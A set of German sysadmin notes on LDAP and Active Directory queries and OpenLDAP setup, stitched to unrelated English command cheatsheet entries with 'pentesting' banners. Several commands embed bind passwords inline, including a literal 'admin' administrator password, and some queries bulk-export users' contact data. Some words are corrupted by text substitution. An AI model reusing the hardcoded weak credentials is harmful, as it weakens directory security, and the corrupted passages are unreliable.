(&(objectCategory=person)(objectClass=user)(|(linuxserver0AccountType=Internal)(linuxserver0AccountType=External)(linuxserver0AccountType=anonymous))(memberof:1.2.840.113556.1.4.1941:=CN=AR-NWS-Jabber-Users,OU=NWServices,OU=MISC,OU=SERV,DC=LXU-ds,DC=LXU,DC=io))

(&(objectCategory=person)(objectClass=user)(|(linuxserver0AccountType=Internal)(linuxserver0AccountType=External)(linuxserver0AccountType=anonymous))(memberof=CN=AR-NWS-Jabber-Users,OU=NWServices,OU=MISC,OU=SERV,DC=LXU-ds,DC=LXU,DC=io))
(&(objectCategory=person)(objectClass=user)(|(linuxserver0AccountType=Internal)(linuxserver0AccountType=External)(linuxserver0AccountType=anonymous))(memberof:1.2.840.113556.1.4.1941:=CN=AR-NWS-Jabber-Users,OU=NWServices,OU=MISC,OU=SERV,DC=LXU-ds,DC=LXU,DC=io))

# fertige Search:
ldapsearch -E pr=1000/noprompt -D pdfuser -w PASSWORT -b DC=LXU-ds,DC=LXU,DC=io -LLL -x -H ldap://activedirectory.ldap.lxu.io "(&(objectCategory=person)(objectClass=user)(|(linuxserver0AccountType=Internal)(linuxserver0AccountType=External)(linuxserver0AccountType=anonymous))(memberof=CN=AR-NWS-Jabber-Users,OU=NWServices,OU=MISC,OU=SERV,DC=LXU-ds,DC=LXU,DC=io))" cn displayName | grep -i 'cn: ' | cut -d ' ' -f2
USER1
USER2

# Hinzufügen eines einzelnen .ldif Eintrages
ldapadd -vc -D cn=Administrator,C=com -w admin -x -H ldap://ldap.linuxserver0041.lxu.io -f USER.ldif

# LDAP Search nach User
ldapsearch -L -x -D '[email protected]' -w 'PASSWORD' -H ldap://activedirectory.ldap.lxu.io -E pr=1000/noprompt -b 'DC=LXU-ds,DC=LXU,DC=io' "(&(objectCategory=person)(objectClass=user)(linuxserver0ManagedBy=*)(&(memberof=CN=AR-PRX-ALLOW,OU=Proxy,OU=MISC,OU=SERV,DC=LXU-ds,DC=LXU,DC=io)))" | egrep '(distinguishedName:|linuxserver0ManagedBy:)' | sed 'N;s/^distinguishedName: CN=\([-_A-Za-z0-9]*\),.*linuxserver0ManagedBy: \([0-9\]*\)$/\1;\2/'

# LDAP Search Test 
ldapsearch -vvv -LLL -b "CN=MAX MUSTER,OU=USR,OU=linuxserver0698,O=LXU,C=DE" -H ldap://activedirldap.linuxserver0041.lxu.io

### get oldproxy user ###
# ldapsearch -LLL -x -D '[email protected]' -w 'PASSWORT' -H ldap://activedirectory.ldap.lxu.io -E pr=1000/noprompt -b 'DC=LXU-ds,DC=LXU,DC=io'  "(CN=*prx_oldproxy)" member 
ldapsearch -LLL -x -D '[email protected]' -w 'PASSWORT' -H ldap://activedirectory.ldap.lxu.io \
  -E pr=1000/noprompt -b 'DC=LXU-ds,DC=LXU,DC=io'  "(CN=*prx_proxy)" member \
  | grep -i OU=USERS \
  | sed -e 's/member: CN=\([a-Z0-9\s-]*\),OU=.*/\1/' \
  | grep -v member \
  | sort >$TMPOLDPROXYUSER

### get skype user ###
# ldapsearch -LLL -x -D '[email protected]' -w 'PASSWORT' -H ldap://activedirectory.ldap.lxu.io -E pr=1000/noprompt -b 'DC=LXU-ds,DC=LXU,DC=io'  "(CN=*prx_instantmessaging)" member
ldapsearch -LLL -x -D '[email protected]' -w 'PASSWORT' -H ldap://activedirectory.ldap.lxu.io \
  -E pr=1000/noprompt -b 'DC=LXU-ds,DC=LXU,DC=io'  "(CN=*prx_instantmessaging)" member \
# # #   | grep -i OU=USERS \
  | sed -e 's/member: CN=\([a-Z0-9\s-]*\),OU=.*/\1/' \
  | grep -v member \
  | sort >$TMPSKYPEUSER

### fetch mailaddresses from lotusnotes-LDAP
:### get whole lotusnotes-ldap data accessible via anonymous (no user neecomd)
#ok# ldapsearch  -L -x -H ldap://lotusnotesldap.linuxserver0041.lxu.io  "(mailaddress=*LXU.org)"
ldapsearch  -L -x -H ldap://lotusnotesldap.linuxserver0041.lxu.io  "(mailaddress=*LXU.org)" > $lotusnotes_TEMPFILE1 || { echo "ERROR: problem with LDAP query on lotusnotesldap.linuxserver0041.lxu.io"; exit 1; }

#ok# adldapkelb wird abgefragt und in die Variable $aduserfile geschrieben
ldapsearch -E pr=1000/noprompt -D MYUSER -w PASSWORD -b DC=LXU-ds,DC=LXU,DC=io -LLL -x -H ldap://activedirectory.ldap.lxu.io "(&(objectCategory=person)(objectClass=user)(|(linuxserver0AccountType=Internal)(linuxserver0AccountType=External))(linuxserver0AccountStatus=active))" cn displayName > $aduserfile

#ok# Sucht den displayName aus der Variablen $aduserfile und schreibt diesen in die Varaibale $aduser_mit_umlaut
ldapsearch -E pr=1000/noprompt -D MYUSER -w PASSWORD -b DC=LXU-ds,DC=LXU,DC=io -LLL -x -H ldap://activdirectory.ldap.lxu.io "(&(objectCategory=person)(objectClass=user)(|(linuxserver0MailType=internal-verified)(linuxserver0AccountType=External))(linuxserver0AccountStatus=active))" cn displayName > $aduserfile

###
ldapsearch -D cn='LDAP User',ou=usr,ou=linuxserver0041,O=LXU,C=DE -w PASSWORT "-b $lotusnotesDIDuser" -LLL -x -H ldap://$lotusnotesserver "(employeeid=$LXUDID)" cn mail postaladdress telephonenumber facsimiletelephonenumber mobile l postalcode physicaldeliveryofficename givenname sn objectclass location employeeid | sed -e "/dominoPerson/Id" -e "/mobile::/Id" -e '/telephonenumber:/ s%/%-%g' -e "/^ *$/d" >${/var/tmp/ldif_ad}/${searchpattern}.ldif



					                    ########################
						                # INFOS LPIC 3 zu LDAP #
			    ################------------------------------------------##################

#######
# 210.3 LDAP Client
#####################  
apt install ldap-utils

ldapsearch -x -W -b dc=example,dc=io -H ldap://localhost -D cn=admin,dc=example,dc=io
	-x 	keine SASL Authentifizierung sondern SimpleBind
	-W 	soll mich nach Passwort fragen
	-b 	welchen Baum will ich befragen
	-H 	Welcher Host   ldap:// oder  ldapi:// (Über locale Socketdatei) oder ldaps:// (Verschlüsselt) 
	-D 	Gibt den Benutzer an mit dem ich mich anmelden will
	-LLL 	Sorgt dafür das die Ausgabe kompakter wird
	dn		Sorgt dafür das man nur noch den Distinguished Name zurückbekommt.

# Erstellen einer .ldaprc im /home
#-----------------------------------#
Um nicht jedesmal diesen ewig langen Befehl eingeben zu müssen, kann man einer rc Datei erstellen.

vim ~/.ldaprc
#--------------------------------------
BASE dc=example,dc=io
BINDDN cn=admin,dc=example,dc=io
HOST localhost
#-------------------------------------

Nun reicht folgene ldapsuche:
ldapsearch -x -W -LLL dn

# LDAP Benutzer anlegen
#-----------------------#
Voraussetzung: nis.schema und inetorgperson.schema müssen eingebunden sein 

DOMAIN="dc=example,dc=io"
# Eine Variable in der Bash erstellen

# 1.) OrganisationsUnit anlegen
ldapadd -x -W <<LDIF
-> Anschließend hier text reinpasten:
--------------------------------------
dn: ou=people,$DOMAIN
objectclass: top
objectClass: organizationalUnit
ou: people

dn: ou=groups,$DOMAIN
objectclass: top
objectclass: organizationalUnit
ou: groups
--------------------------------------
-> Abschließend gibt man folgendes ein und ENTER:
LDIF

# 2.) Gruppe anlegen
ldapadd -x -W <<LDIF

dn: cn=ldapusers,ou=groups,$DOMAIN
objectclass: top
objectclass: posixGroup
gidNumber: 10000
cn: ldapusers

LDIF

# 2.) User anlegen
ldapadd -x -W <<LDIF

dn: uid=raspberrypi,ou=people,$DOMAIN
objectclass: top
objectclass: posixAccount
objectClass: account
cn: Raspberry Pi
uid: raspberrypi
uidNumber: 10000
gidNumber: 10000
homeDirectory: /home/pi
userPassword: pi
loginShell: /bin/bash

LDIF

# 3. LDAP USER Passwd
ldappasswd -x -W -s pi uid=raspberrypi,ou=people,dc=example,dc=io

# 4. LDAP Abfragen mit Filter
Aufgabe 1: Alle objectKlassen die zur Objektklasse organizationalUnit gehören ausgeben lassen

ldapsearch -x -W -LLL '(objectClass=organizationalUnit)'

	dn: ou=groups,dc=example,dc=io
	objectClass: top
	objectClass: organizationalUnit
	ou: groups

	dn: ou=people,dc=example,dc=io
	objectClass: top
	objectClass: organizationalUnit
	ou: people

Aufgabe 2: Zwei Abfragen miteinander verknüpfen - Selbe Abfrage - nur jetzt die Objekte bei der die ou=groups ist,
und dann nur die ou anzeigen lassen:
ldapsearch -x -W -LLL '(&(objectClass=organizationalUnit)(ou=groups))' ou

	dn: ou=groups,dc=example,dc=io
	ou: groups

	
# 5. Changetype Operationen
ldapmodify - der komplexerste LDAP Befehl

ldapmodify -f /tmp/entrymods

--> Datei /tmp/entrymods anlegen 
--> Dort stehen die Anweisungen drin, wie das Object/Attribut geändert werden soll 
--> Beispiel:

	dn: cn=Modify Me, dc=example,dc=io
	changetype: modify
	replace: mail
	mail: [email protected]
	-
	add: title
	title: Grand Poobah
	-
	add: jpegPhoto
	jpegPhoto:< file:///tmp/modme.jpeg
	-
	delete: description
	-

--> Oben steht erstmal welches Object ich verändern möchte
--> Schlüsselwort changetype  z.B. ersetzte, hinzufügen, löschen (replace,add,delete)

# 6. Löschen von Einträgen
Aufgabe 3: Lösche nun wieder den User raspberrypi aus dem LDAP

ldapdelete -x -W dn: uid=raspberrypi,ou=people,dc=example,dc=io

       loglevel <integer> [...]
              Specify the level at which debugging statements and operation statistics should be syslogged (currently logged to the syslogd(8) LOG_LOCAL4 facility).  They must  be  considered  subsystems  rather  than  increasingly
              verbose log levels.  Some messages with higher priority are logged regardless of the configured loglevel as soon as any logging is configured.  Log levels are additive, and available levels are:
                     1      (0x1 trace) trace function calls
                     2      (0x2 packets) debug packet handling
                     4      (0x4 args) heavy trace debugging (function args)
                     8      (0x8 conns) connection management
                     16     (0x10 BER) print out packets sent and received
                     32     (0x20 filter) search filter processing
                     64     (0x40 config) configuration file processing
                     128    (0x80 ACL) access control list processing
                     256    (0x100 stats) connections, LDAP operations, results (reiomended)
                     512    (0x200 stats2) stats log entries sent
                     1024   (0x400 shell) print iomunication with shell backends
                     2048   (0x800 parse) entry parsing

                     16384  (0x4000 sync) LDAPSync replication
                     32768  (0x8000 none) only messages that get logged whatever log level is set
              The  desired  log level can be input as a single integer that iobines the (ORed) desired levels, both in decimal or in hexadecimal notation, as a list of integers (that are ORed internally), or as a list of the names
              that are shown between brackets, such that

                  loglevel 129
                  loglevel 0x81
                  loglevel 128 1
                  loglevel 0x80 0x1
                  loglevel acl trace

# 210.4 LDAP Server
######################

LDAP Server ist ein Verzeichnisdienst und steht meistens im Backend und dient als Konfigurationquelle  oder  Authentifizierungsquelle für andere Dienste

Es gibt Openldap, LDAP von Novell & Sun und es gibt ActiveDirectory sowie FedoreDirectory Server, welche das ldap Protokoll implementieren. 
	--> Ein SambaServer kann seine User/Pass dort ablegen
	--> Ein LinuxRechner kann einen LDAP Server als Anmeldeserver verwenden
	--> Postfix kann das Mailrouting über Tabellen die im LDAP Server abgelegt sind organisieren

DAP war der Vorgänger von LDAP - LDAP steht für Lightweight Directory Access Protokol
LDAP ist ein Protokoll. Daher kann der Admin konfigurieren wo der LDAP Server seine Daten abspeichert, denn dies ist nicht im 
Protokol geregelt. Man hat Verschiedene Möglichkeiten dies zu tun, wie z.B. Stasrv85rt wie hdb und mdb. Es gibt aber auch Setups bei denen Postgressdatenbank als Backend benutzt. Oder man kann LDAP auch als Meta-Server konfigurieren, so das meine Anfragen quasi als Proxy funktionieren.

dn = distinguished Name (eindeutiger Name im LDAP Baum)
dc = Domain ioponend
cn = iomon name
ou = Organisations Unit

					
					
											LDAP Verzeichnisbaum 
											[getrennter baum]
					
									
					dc=io 										   cn=config						# dn Schreibweise: dn: dc=io   oder  dn: cn=config
				  /        \
				 /           \
			dc=example 		\										# dn Schreibweise: dn: dc=example,dc=io
			 /        \		     \
			/          \			 \
	cn=admin 		ou=people		ou=groups								# dn Schreibweise: dn: cn=admin,dc=example,dc=io
							|					|
							|					|
						uid=pi  			cn=ldapusers
						
						
Für die Bennenung bin ich relativ frei mal ou mal uid mal cn -> das kann man mischen wie man lust hat

						
	
			

Installation früher:
#--------------------#
DEBIAN: 		slapd 
SUSE:  		openldap2
Fedora: 		openldap-servers

Frühere Hauptkonfig: slapd.conf enthielt 
includes für z.B. core.schema, nis.schema 

vi /usr/share/doc/slapd/example/slapd.conf
 
-> Wie soll das Schema Aussehen  
-> Wo sollen die Daten abgespeichert werden (hdb, mdb Database?)
		moduleload back_hdb
		backend hdb
		database hdb
-> Zugriffsrechte müssen gesetzt werden Diese regeln:
		Wer (z.B. ich selbst) darf auf welches Attribut wie zugreifen (z.B. lesend, schreibend, garnicht)

		
cat /usr/share/doc/slapd/example/slapd.conf > /etc/ldap/slapd.conf 

Installation heute:
#------------------#
apt install slapd 
LDAP Admin Passwort vergeben

Heute gibt es diese slapd.conf nicht mehr. Dafür gibt es nun einen eigenen getrennten Konfigurations Baum mit Schematas unter:
/etc/ldap/slapd.d/cn=config# ls

		cn=schema/
		cn=module{0}.ldif  
		olcBackend={0}mdb.ldif         
		olcDatabase={1}mdb.ldif
		olcDatabase={0}config.ldif
		cn=schema.ldif     
		olcDatabase={-1}frontend.ldif

ldif steht für LDAP Interchange Format - Eine Format mit dem man LDAP Daten austauschen kann..
Whitepages sind Dokumentation wie man sich so einen LDAP Server aufbauen kann.

Konfiguration:
#---------------#
/etc/ldap/schema/nis.schema

Es gibt in diesen Schematas Attribute und Objekte. jeder Typ hat eine eigene Nummer (Objekt-IDs = OID)
Ein Objekt besteht dann jeweils aus mehreren Attributen. Hier z.B. ist das attribut homeDirectory 
ein Bestandteil der Objektklasse posixAccount, welche den UNIX Login regelt. Must = Pflichtfeld, May = Optionalfeld
Manche von diesen Attributen dürfen auch mehrfach da sein. Z.B. kann ja ein User mehrere Telefonnummern haben. In der Klassischen sql
Datenbank wäre ich hier an der Stelle raus, bräuchte man mehrere Tabellen um das darzustellen. Hier ist es so das man alles in ein Objeckt hineinpacken kann.

################################
# Attribute Type Definitions
attributetype ( 1.3.6.1.1.1.1.3 NAME 'homeDirectory'
        DESC 'The absolute path to the home directory'
        EQUALITY caseExactIA5Match
        SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE )

		  
# Object Class Definitions
objectclass ( 1.3.6.1.1.1.2.0 NAME 'posixAccount'
        DESC 'Abstraction of an account with POSIX attributes'
        SUP top AUXILIARY
        MUST ( cn $ uid $ uidNumber $ gidNumber $ homeDirectory )
        MAY ( userPassword $ loginShell $ gecos $ description ) )
################################

# Auf den LDAP Server zugreifen
#-------------------------------#
slapcat 

	dn: dc=nodomain
	objectClass: top
	objectClass: dcObject
	objectClass: organization
	o: nodomain
	dc: nodomain
	structuralObjectClass: organization
	entryUUID: 926e2c74-c881-1037-8d89-33fe3664983b
	creatorsName: cn=admin,dc=nodomain
	createTimestamp: 20180330161722Z
	entryCSN: 20180330161722.711020Z#000000#000#000000
	modifiersName: cn=admin,dc=nodomain
	modifyTimestamp: 20180330161722Z

	dn: cn=admin,dc=nodomain
	objectClass: simpleSecurityObject
	objectClass: organizationalRole
	cn: admin
	description: LDAP administrator
	userPassword:: b2NTSEF9S1lBMEwvWjR2T2RiVHlIMzJLdlluREs0MjN5c2VvTxp=
	structuralObjectClass: organizationalRole
	entryUUID: 92716984-c881-1037-8d8a-33fe3664983b
	creatorsName: cn=admin,dc=nodomain
	createTimestamp: 20180330161722Z
	entryCSN: 20180330161722.732784Z#000000#000#000000
	modifiersName: cn=admin,dc=nodomain
	modifyTimestamp: 20180330161722Z

	
# LDIF Syntax Aufbau:
#---------------------#
--> Slapcat gibt die ganze Datenbank wieder. (DUMP) im LDIF Format
--> Leerzeilen trennen die einzelnen Objekte
--> Jeder neue Objectblock beginnt dann immer wieder mit einem dn.
--> Anschließend kommen die ganzen Schlüssel-Wertpaare
--> Manchmal steht ein :: hinter dem Attribut -> Das bedeuktet das hier kein Klartext steht, sondern ein Base64 Encoding 
--> Dies ist keine Verschlüsselung, sondern nur ein Encoding, um Umlaute in ein Feld unterzubringen

Mit slapadd kann man Daten aus LDIF Dateien einfach in die LDAP Datenbank hinzufügen. Dies geht nicht über das LDAP Protokoll. Sprich man es geht auf Dateiebene und man muss sich nicht gegen den LDAP Server authentifizieren.

SSSD = System Security Services Daemon 
(Authentisierung und Identitätsverwaltung)
#-----------------------------------------#
Der SSSD  ist ein Dienst der benutzt wird um Benutzer zu authentifizieren.  
Ein Wesentliches Feature is das Authentifizierung zwischengespeichert (gecacht) wird. 

slapd -t 
# Zur Überprüfung der  Konfiguration - depricated - selbe wie slaptest

Beim Backup und Restore muss man nur darauf achten, dass die Dateien die  unter 
		/var/lib/ldap/* 
liegen gelöscht werden 
(wenn man mit slapcat ein Backup gemacht hat, und sie dann wieder mit slapadd hinzufügen will, muss man die Dateien dort alle löschen)
Anschließend muss man den Befehl 
			slapindex 
ausführen, um die Indizes wieder anzulegen und die Zugriffsgeschwindigkeit wieder zu erhöhen.

# Loglevel LDAP
#--------------#
LDAP im DEBUG Modus starten mit /usr/sbin/slapd -d [DEBUGLEVEL]
In manpage slapd.conf findet man die Loglevel vom LDAP Server. Besonderheit geschrieben in Bitmasken
Geht von 1bis 32768. -1 Loggt  alles mit, 32768 nichts mehr.

 
 

#-------------------#
|# Gute LDAP Tools #|
#-------------------#

ldapvi							    =		Damit kann man mit einem Texteditor Attribute des LDAP Schemas direkt editieren und darin suchen.
shelldap							= 		Shell-ähnliche Oberfläche zum Durchsehen von LDAP-Servern
Apache Directory Studio		        =		LDAP Browser, Schema Editor - erfordert JavaRuntime

ldapsearch -x -b 'dc=LXU,dc=de' '(objectclass=*)' 
# Test LDAP Server - It prints all the user information

# LDAP Installation und test simple
apt install slapd ldap-utils
vim etc/ldap/ldap.conf
dpkg-reconfigure slapd 
ldapsearch -x  

############################################

root@srv8041ldap01:~# cat README-LDAP-HowTo 
BASE c=DE
BINDDN cn=Administrator,C=DE
HOST localhost

# User und Passwort für Schreibaccess
OpenLDAPServer=srv8041ldap01.linuxserver0041.lxu.io
OpenLDAPAccess="-D cn=Administrator,C=DE -w admin"

ldapadd -vc -D cn=Administrator,C=DE -w admin -x -H ldap://srv8041ldap01.linuxserver0041.lxu.io -f LDIVUSERFILE.ldif

ldapsearch -LLL -x -H ldap://ldap4voip.linuxserver0041.lxu.io -D 'cn=Administrator,c=de' -w 'admin' -b 'o=LXU,c=DE' "(cn=*LDIVUSERFILE*)"

#---------------#
# Von Manghofer - AD Abfragen
#--------------------------------#

RSATTools
starten powershell ise

Import-Module ActiveDirectory
get-aduser -LDAPFilter "(&(objectCategory=person)(objectClass=user)(|(mail=*)(telephoneNumber=*)))" -SearchBase "OU=USERS,OU=PROD,DC=LXU-ds,DC=LXU,DC=io" -Properties linuxserver0identityid, mail, telephoneNumber -server "ldapserver.com" | select-object Samaccountname, linuxserver0identityid, mail, telephoneNumber | export-csv -Path "C:\temp\testuser.csv" -Delimiter ";" -NoTypeInformation  

Grid zum anzeigen:
out-gridview

Start OU
OU=USERS,OU=PROD,DC=LXU-ds,DC=LXU,DC=io
Mail und Tel
(&(objectCategory=person)(objectClass=user)(mail=*)(telephoneNumber=*))
Entweder Mail oder Tel
(&(objectCategory=person)(objectClass=user)(|(mail=*)(telephoneNumber=*)))

get-aduser manghofer -Properties * | select-object memberof
Get-ADGroupMember "AR-NWS-Jabber-Users" | select samaccountname

# oder Powershellsuche nach Usern mit Tel und email:
Get-ADUser -LDAPFilter "(&(objectCategory=person)(objectClass=user)(mail=*)(telephoneNumber=*))" -SearchBase "OU=USERS,OU=PROD,DC=LXU-ds,DC=LXU,DC=io" | Out-GridView

# oder Powershellsuche nach Usern mit entweder Mail oder Tel
Get-ADUser -LDAPFilter "(&(objectCategory=person)(objectClass=user)(|(mail=*)(telephoneNumber=*)))" -SearchBase "OU=Users,OU=PROD,DC=LXU-ds,DC=LXU,DC=io" | Out-GridView

# oder Powershellsuche nach Usern mit einer Telefonnr:
Get-ADUser -LDAPFilter "(&(objectCategory=person)(objectClass=user)(|(mail=*)(telephoneNumber=*)))" -SearchBase "OU=Users,OU=PROD,DC=LXU-ds,DC=LXU,DC=io" | Out-GridView

#==============================##==============================#
# CMD HOTLINE                                                  #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH ioMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

76 - 🖥️ldd

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ldd command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██╗     ██████╗ ██████╗ 
#                ██║     ██╔══██╗██╔══██╗
#                ██║     ██║  ██║██║  ██║
#                ██║     ██║  ██║██║  ██║
#                ███████╗██████╔╝██████╔╝
#                ╚══════╝╚═════╝ ╚═════╝ 
                                        
                                        
                                       

# The ldd command displays in output dependencies of a shared library.

ldd /lib/i386-linux-gnu/libcrypt-2.19.so
	linux-gate.so.1 => (0xb77df000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75da000)
	/lib/ld-linux.so.2 (0x80088000)

#==============================##==============================#
# CMD LDD						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

77 - 🖥️lib

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the lib command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██╗     ██╗██████╗ 
#                ██║     ██║██╔══██╗
#                ██║     ██║██████╔╝
#                ██║     ██║██╔══██╗
#                ███████╗██║██████╔╝
#                ╚══════╝╚═╝╚═════╝ 
                                   
                                   
                                   
                                  
# Display available libraries
ldconfig -p

# Update library resources
ldconfig

# Display libraries and file location
ldd

# Libraries available to apps in real-time
"Dynamic Libraries" (.so.)

# Libraries only available to apps when installed (imported)
"Static Libraries" (.a.)

# Standard (usual) library file location
/lib

# Sofware-accessible source for library info 
/etc/ld.so.cache 	# (binary)

# Human-readable source for library info
/etc/ld.so.conf 	# (points to /etc/ld.so.conf.d)

#==============================##==============================#
# CMD LIB						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

78 - 🖥️logname

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the logname command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██╗      ██████╗  ██████╗ ███╗   ██╗ █████╗ ███╗   ███╗███████╗
#                ██║     ██╔═══██╗██╔════╝ ████╗  ██║██╔══██╗████╗ ████║██╔════╝
#                ██║     ██║   ██║██║  ███╗██╔██╗ ██║███████║██╔████╔██║█████╗  
#                ██║     ██║   ██║██║   ██║██║╚██╗██║██╔══██║██║╚██╔╝██║██╔══╝  
#                ███████╗╚██████╔╝╚██████╔╝██║ ╚████║██║  ██║██║ ╚═╝ ██║███████╗
#                ╚══════╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝
                                                                               
                                                                             

# The logname command prints the user-name of the current user.

logname
root

#==============================##==============================#
# CMD LOGNAME						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

79 - 🖥️lpstat

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the lpstat command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗     ██████╗ ███████╗████████╗ █████╗ ████████╗
#  ██║     ██╔══██╗██╔════╝╚══██╔══╝██╔══██╗╚══██╔══╝
#  ██║     ██████╔╝███████╗   ██║   ███████║   ██║   
#  ██║     ██╔═══╝ ╚════██║   ██║   ██╔══██║   ██║   
#  ███████╗██║     ███████║   ██║   ██║  ██║   ██║   
#  ╚══════╝╚═╝     ╚══════╝   ╚═╝   ╚═╝  ╚═╝   ╚═╝   

# Display list of available printers
lpstat -p
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

80 - 🖥️lsof

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the lsof command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██╗     ███████╗ ██████╗ ███████╗
#                ██║     ██╔════╝██╔═══██╗██╔════╝
#                ██║     ███████╗██║   ██║█████╗  
#                ██║     ╚════██║██║   ██║██╔══╝  
#                ███████╗███████║╚██████╔╝██║     
